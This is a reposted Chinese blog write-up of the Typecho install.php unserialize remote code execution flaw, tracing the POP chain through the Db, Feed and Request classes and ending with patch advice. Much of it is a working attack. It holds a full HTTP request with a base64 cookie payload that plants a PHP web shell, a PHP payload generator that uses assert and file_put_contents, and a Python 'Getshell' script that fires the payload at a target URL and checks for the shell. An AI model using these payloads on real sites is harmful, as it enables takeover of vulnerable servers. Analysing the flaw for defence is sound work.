转载--Typecho install.php 反序列化导致任意代码执行
原文链接(http://p0sec.net/index.php/archives/114/)
0x00 前言
漏洞公布已经过去一段时间了,当时只是利用了一下,并没有进行深度分析,现转载文章以便以后查看。
听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己中招了,赶紧删除install目录。
恶意代码的大致操作顺序:
- base64解码后反序列化cookie中传入的__typecho_config参数,
- 然后让__typecho_config作为构造参数例化一个Typecho_Db类,
- 接着通过POP链进行代码执行。
涉及到的文件还有类名
install.php(unserialize) – > Db.php(class Typecho_Db) – > Feed.php (class Typecho_Feed) – > Request.php (class Typecho_Request)
0x01 Payload
GET /typecho/install.php?finish=1 HTTP/1.1Host: 192.168.211.169User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==Referer:http://192.168.211.169/typecho/install.phpConnection: closeUpgrade-Insecure-Requests: 1
便会在网站根目录下生产一句话p0.php
,密码p0
0x02 反序列化可控点
install.php 288-235行
addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db);?>
第230行获取cookie中的__typecho_config
值base64解码,然后反序列化。想要执行,只需isset($_GET['finish'])
并且__typecho_config
存在值。
反序列化后232行把$config['adapter']
和$config['prefix']
传入Typecho_Db
进行实例化。然后调用Typecho_Db
的addServer
方法,调用Typecho_Config
实例化工厂函数对Typecho_Config
类进行实例化。
0x03 反序列化触发点
全局搜索__destruct()
和__wakeup()
:
只发现了两处__destruct()
,跟进去并没发现可利用的地方。
继续看Typecho_Db
类
构造方法,Db.php 114-135行
public function __construct($adapterName, $prefix = 'typecho_'){ /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter { $adapterName} is not available"); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName();}
发现第120行对传入的$adapterName
进行了字符串的拼接操作。那么如果$adapterName
传入的是个实例化对象,就会触发该对象的__toString()
魔术方法。
全局搜索__toString()
:
发现三处,跟进,第一个发现并没有可以直接利用的地方。
跟进Typecho_Query
类的__toString()
魔术方法,Query.php 488-519行:
public function __toString(){ switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } } return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; }}
第492行$this->_adapter
调用parseSelect()
方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()
魔术方法。
全局搜索__call()
:
发现几处,挨个跟进发现Typecho_Plugin
类的__call()
魔术方法存在回调函数,Plugin.php 479-494行:
public function __call($component, $args){ $component = $this->_handle . ':' . $component; $last = count($args); $args[$last] = $last > 0 ? $args[0] : false; if (isset(self::$_plugins['handles'][$component])) { $args[$last] = NULL; $this->_signal = true; foreach (self::$_plugins['handles'][$component] as $callback) { $args[$last] = call_user_func_array($callback, $args); } } return $args[$last];}
$component
是调用失败的方法名,$args
是调用时的参数。均可控,但是根据上文,$args
必须存在array('action'=>'SELECT')
,然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args
长度至少为3,那么call_user_func_array()
便无法正常执行。所以此路就不通了。
继续跟进Typecho_Feed
类的__toString()
魔术方法,Feed.php 340-360行
} else if (self::ATOM1 == $this->_type) { $result .= '' . self::EOL; $content = ''; $lastUpdate = 0; foreach ($this->_items as $item) { $content .= ' ' . self::EOL; $content .= ' <![CDATA[' . $item['title'] . ']]> ' . self::EOL; $content .= ' ' . self::EOL; $content .= '' . $item['link'] . ' ' . self::EOL; $content .= '' . $this->dateFormat($item['date']) . ' ' . self::EOL; $content .= '' . $this->dateFormat($item['date']) . ' ' . self::EOL; $content .= '' . self::EOL; ' . $item['author']->screenName . ' ' . $item['author']->url . '
第358行$item['author']
调用screenName
属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()
魔术方法。
全局搜索__get()
:
发现了几处,最终确定Typecho_Request
类存在可利用的地方
__get()
魔术方法调用get()
方法,Request.php 293-309行:
public function get($key, $default = NULL){ switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value);}
308行调用_applyFilter()
方法,传入的$value
是$this->_params[$key]
的值,$key
就是screenName
。
跟进_applyFilter()
,Request.php 159-171行:
private function _applyFilter($value){ if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value;}
第163行array_map
和164行call_user_func
均可造成任意代码执行。
0x04 构造Payload
Payload exp.php
_items[] = $item; }}class Typecho_Request{ private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \' \')'); private $_filter = array('assert');}$payload1 = new Typecho_Feed();$payload2 = new Typecho_Request();$payload1->addItem(array('author' => $payload2));$exp = array('adapter' => $payload1, 'prefix' => 'typecho');echo base64_encode(serialize($exp)); ?>
编写payload的简单思路:
最外层$exp是数组,数组中的’adapter’是Typecho_Feed的实例$payload1,
$payload1的构造参数是’ATOM 1.0’用于控制分支, $payload2是Typecho_Request的实例, private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell 然后$payload2通过additem添加到$payload的$_items的变量中 最后把$payload1添加到最外层的$exp数组中
Getshell exp.py
import requestsimport os if __name__ == '__main__': print ''' ____ ____ _ _ _| __ ) _ _ | _ \ __ _(_) || | _____ _____ _ __| _ \| | | | | |_) / _` | | || |_ / _ \ \ / / _ \ '__|| |_) | |_| | | _ < (_| | |__ _| (_) \ V / __/ ||____/ \__, | |_| \_\__,_|_| |_| \___/ \_/ \___|_| |___/ ''' targert_url = 'http://www.xxxxxxxx.xyz'; rsp = requests.get(targert_url + "/install.php"); if rsp.status_code != 200: exit('The attack failed and the problem file does not exist !!!') else: print 'You are lucky, the problem file exists, immediately attack !!!' proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } typecho_config = os.popen('php exp.php').read() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0', 'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config), 'Referer': targert_url} url = targert_url + "/install.php?finish=1" requests.get(url,headers=headers,allow_redirects=False) shell_url = targert_url + '/usr/themes/default/img/c.php' if requests.get(shell_url).status_code == 200: print 'shell_url: ' + shell_url else: print "Getshell Fail!"
0x05 修补方法
- 官方已经发布了1.1Beta版本修复了该漏洞,升级该版本,链接:
- 也可以删除掉install.php和install目录。
注:代码仅用于学习研究,请勿用于非法用途恶意攻击,概不负责。